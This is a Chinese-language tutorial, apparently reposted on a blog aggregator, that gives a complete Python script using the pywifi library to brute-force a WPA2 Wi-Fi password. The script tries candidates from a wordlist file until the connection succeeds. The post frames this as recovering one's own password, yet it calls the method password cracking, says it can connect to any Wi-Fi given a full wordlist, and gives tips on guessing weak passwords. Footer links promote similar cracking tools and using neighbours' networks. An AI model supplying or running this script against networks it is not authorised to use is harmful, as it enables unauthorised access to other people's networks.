Python密码本连接wifi

这篇具有很好参考价值的文章主要介绍了Python密码本连接wifi。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

有时候我们会忘记自己的Wi-Fi密码,或者需要连接某个Wi-Fi网络以满足合法需求。本文将介绍如何使用Python编程语言编写一个简单的连接Wi-Fi的程序。

一、密码本准备

在进行wifi猜测时,其实就是列出各种可能的密码,用来尝试去访问目标wifi,直到找出正确的密码为止,是密码破解的一种方案。怎么有效去猜测wifi密码呢,或者说日常中你使用的密码为什么会被别人猜到,这就涉及到社会工程学,比如习惯使用“123456”、“8888888”等弱口令,使用手机号、生日、家庭住址相关联作为密码,那么就很容易被猜到,这里不过多介绍,理论上任何密码都可以用这种方法来猜测连接,不过越复杂的密码破解耗时也越长。

二、连接准备工作

  • python环境安装

访问Python官网,点击downloads按钮,在下拉框中选择系统类型,选择下载最新版本的Python,没有版本要求的话,尽量使用最新版本前几个版本,避免新版本的不稳定。双击下载好的Python安装包,勾选左下角"Add Python 3.7 to PATH"选项,然后选择"Install now"立刻安装Python,默认安装或自定义安装。打开命令窗口,使用“python --version”查验环境是否安装成功。

Python密码本连接wifi,python,python

  • 下载安装pywifi库
pip install pywifi

以下对整个连接程序主要部分进行讲解,最后提供完整的连接程序,可以使用自己的wifi网络进行连接尝试,密码本先填写几个错误密码,最后再写入正确密码,试验是否成功连接wifi,只要密码本够全,理论上可以连接所有wifi。注意一行表示一个可能性密码。
  创建一个无线对象,获取无线网卡

#抓取网卡接口
wifi=pywifi.PyWiFi()
#获取第一个无线网卡
ifaces=wifi.interfaces()[0]

创建WiFi连接文件
创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。

#创建WiFi连接文件
profile=pywifi.Profile()
#要连接WiFi的名称
profile.ssid="WiFi名称"
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP

尝试连接wifi
密码本采用只读的方式,一行一行读取,后续用于尝试连接wifi。

#读取密码本
def readPassword():
    print("开始破解:")
    #密码本路径
    path="wifi_pass.txt"
    #打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()
            #尝试连接wifi
            bool = wifiConnect(pad)
            if not pad:
                break
            if bool:
                print("密码已破解: ",pad)
                print("WiFi已自动连接!!!")
                break
            else:
                #跳出当前循环,进行下一次循环
                print("密码破解中....密码校对: ",pad)
        except:
            continue

完整程序代码

# coding:utf-8
import pywifi
from pywifi import const
import time
  
#测试连接,返回链接结果
def wifiConnect(pwd):
    #抓取网卡接口
    wifi=pywifi.PyWiFi()
    #获取第一个无线网卡
    ifaces=wifi.interfaces()[0]
    #断开所有连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus=ifaces.status()
    if wifistatus ==const.IFACE_DISCONNECTED:
        #创建WiFi连接文件
        profile=pywifi.Profile()
        #要连接WiFi的名称
        profile.ssid="****_Wi-Fi5"
        #网卡的开放状态
        profile.auth=const.AUTH_ALG_OPEN
        #wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher=const.CIPHER_TYPE_CCMP
        #调用密码
        profile.key=pwd
        #删除所有连接过的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile=ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        #wifi连接时间
        time.sleep(3)
        if ifaces.status()==const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接") 
  
#读取密码本
def readPassword():
    print("开始破解:")
    #密码本路径
    path="wifi_pass.txt"
    #打开文件
    file=open(path,"r")
    while True:
        try:
            #一行一行读取
            pad=file.readline()
            #尝试连接wifi
            bool = wifiConnect(pad)
            if not pad:
                break
            if bool:
                print("密码已破解: ",pad)
                print("WiFi已自动连接!!!")
                break
            else:
                #跳出当前循环,进行下一次循环
                print("密码破解中....密码校对: ",pad)
        except:
            continue
readPassword()

运行结果

Python密码本连接wifi,python,python文章来源地址https://www.toymoban.com/news/detail-798547.html

到了这里,关于Python密码本连接wifi的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【Python实战】WIFI密码小工具,甩万能钥匙十条街,WIFI任意连哦~(附源码)

    不会吧不会吧,流量都这么便宜了不会还有人在蹭别人家WIFI吧?  但是也可以理解哈,试问谁还没有经历过这种时光那?就算是我,也曾经有过蹲在别人家大门 口蹭WIFi的事儿。这都是成长道路中不可避免的一环。毕竟免费的谁不想白嫖呢? 今天,我就为大家隆重介绍一款

    2024年02月15日
    浏览(32)
  • python执行cmd命令——控制电脑连接wifi——程序打包

    控制电脑连接wifi

    2024年02月05日
    浏览(39)
  • 笔记本电脑查询连接wifi密码

    在日常使用过程中遇到两个使用场景。网络管理员跳过一下步骤,针对wifi使用人员。 1、刚到一个新环境中需要连接wifi的场景 2、在一个场所连接过一次密码,现在其他人需要连接,问自己wifi密码但是本人又没在现场。 项目 版本 操作系统 windows10 win+r 运行框中输入 ncpa.cpl

    2024年02月01日
    浏览(45)
  • 查看电脑上已连接wifi的密码

    控制面板 右击,状态 无线属性-安全-显示字符 还可以使用 for /f “skip=9 tokens=1,2 delims=:” %i in (‘netsh wlan show profiles’) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear 命令查看,其中“关键内容”就是密码!

    2024年02月16日
    浏览(32)
  • 2023-04-14 Linux连接WiFi常用命令,用命令打开、搜索、连接wifi,在buildroot 嵌入式系统上测试,用 wifi_start.sh WIFI名称 WIFI密码 命令格式连接

    一、ifconfig 命令查看打开的网卡  二、ifconfig -a 命令查看所有的网卡,包括关闭的。  三、打开WIFI命令:ifconfig wlan0 up ;关闭WIFI命令: ifconfig wlan0 down 。  四、wpa_cli 命令基本操作  五、iwlist wlan0 scan 搜索附件WIFI设备  六、用 wifi_start.sh WIFI名称 WIFI密码 命令格式连接WIFI  

    2024年02月14日
    浏览(31)
  • WIFI 被别人连接?修改WIFI密码,查看WIFI使用设备,禁用WIFI使用用户,给某台设备限流 (告别网络卡顿)

        故事背景 🤖🤖🤖 今天本来复习计算机网络,学一半的时候 😅 ,发现自己还不知道如何查看主机的 ip地址 ?   有了这个念头,就学不下去了,打开电脑搜索 如何查询ip地址 ,查询到主机ip地址之后,就对这个产生了很多联想: 这个 192.168.xxx.xxx 的ip地址是私有地址,

    2023年04月20日
    浏览(33)
  • 获取本地电脑连接的所有WIFI密码(适合Windows 11/10/8/7)

    如果你的心入职同事问你公司WIFI密码是多少,恰好这时你也忘记密码,用次方法可以实现得到WIFI密码。 如果你忘记现在在WIFI密码,也可以用此方法获取。 1. 使用管理员权限打开 cmd.exe 2. 获取本机所有连接的 WIFI 用户配置   3. 将所有 WIFI 配置保存至指定目录下 4. 查看文件夹

    2023年04月18日
    浏览(68)
  • 小米路由中微信好友无需密码连接WiFi的功能怎么使用?

    亲戚、朋友来家串门,告知Wi-Fi密码是少不了的,如果对方手机装有Wi-Fi分享软件,则可能导致家中Wi-Fi泄露。 对此,现在 小米路由器联合微信上线了“微信好友Wi-Fi”功能,通过设置独立的访客网络,与主人是微信好友关系的访客可以直接认证上网 ,非微信好友须通过授权

    2024年02月08日
    浏览(46)
  • Wifi密码怎么看?常用Wifi密码排名大全

    如今Wifi无线网络已经非常流行,大多数家庭用户与绝大多数中小商家、店铺都会有Wifi无线网络,因此我们的手机、平板或者笔记本电脑等无线设备经常可以搜索到很多附件的Wifi无线网络,有时候如果需要临时上网,打算连接这些搜索到的Wifi,但没有密码怎么办?下面小编位

    2024年02月08日
    浏览(25)
  • wifi 暴力破解 (python)

    github:https://github.com/baihengaead/wifi-crack-tool

    2024年02月09日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包